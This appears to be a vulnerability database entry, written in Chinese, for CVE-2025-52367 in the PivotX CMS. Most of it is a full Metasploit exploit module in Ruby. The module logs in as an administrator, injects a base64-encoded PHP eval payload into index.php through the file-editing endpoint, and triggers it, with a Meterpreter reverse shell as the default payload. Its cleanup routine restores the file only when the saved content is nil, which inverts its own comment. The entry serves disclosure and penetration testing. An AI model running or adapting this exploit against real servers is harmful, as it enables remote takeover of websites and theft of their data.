PivotX Remote Code Execution Vulnerability

漏洞信息

漏洞名称: PivotX Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-52367

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: PivotX是一个内容管理系统(CMS),广泛用于个人博客和小型企业网站。它提供了一个用户友好的界面,允许管理员管理网站内容、用户和文件。PivotX的典型部署场景包括个人博客、小型企业网站和教育机构网站。由于其易用性和灵活性,PivotX在全球范围内有一定的用户基础。该漏洞存在于PivotX的管理系统中,允许管理员用户直接在Web服务器上编辑文件,包括PHP文件。攻击者可以利用这一功能,通过向index.php文件中写入恶意负载来获得远程代码执行权限。这种漏洞的技术根源在于系统未能对管理员用户的操作进行充分的验证和限制,导致攻击者可以执行任意代码。这种漏洞的潜在安全风险非常高,因为它允许攻击者在受影响的系统上执行任意代码,可能导致数据泄露、服务中断或其他恶意活动。攻击者需要有效的管理员凭证才能利用此漏洞,但一旦获得这些凭证,攻击可以自动化执行。

产品厂商: PivotX

产品名称: PivotX

影响版本: version <= 3.0.0-rc3

来源: https://github.com/rapid7/metasploit-framework/blob/8130316de9625fb804a1541547b22e951a9f8c69/modules%2Fexploits%2Flinux%2Fhttp%2Fpivotx_index_php_overwrite.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})

return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end

def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})

fail_with(Failure::NoAccess, 'Login failed, probably incorrect credentials') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def cleanup
super
# original content can be any string, it cannot be nil
restore if @original_value.nil?
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
end
end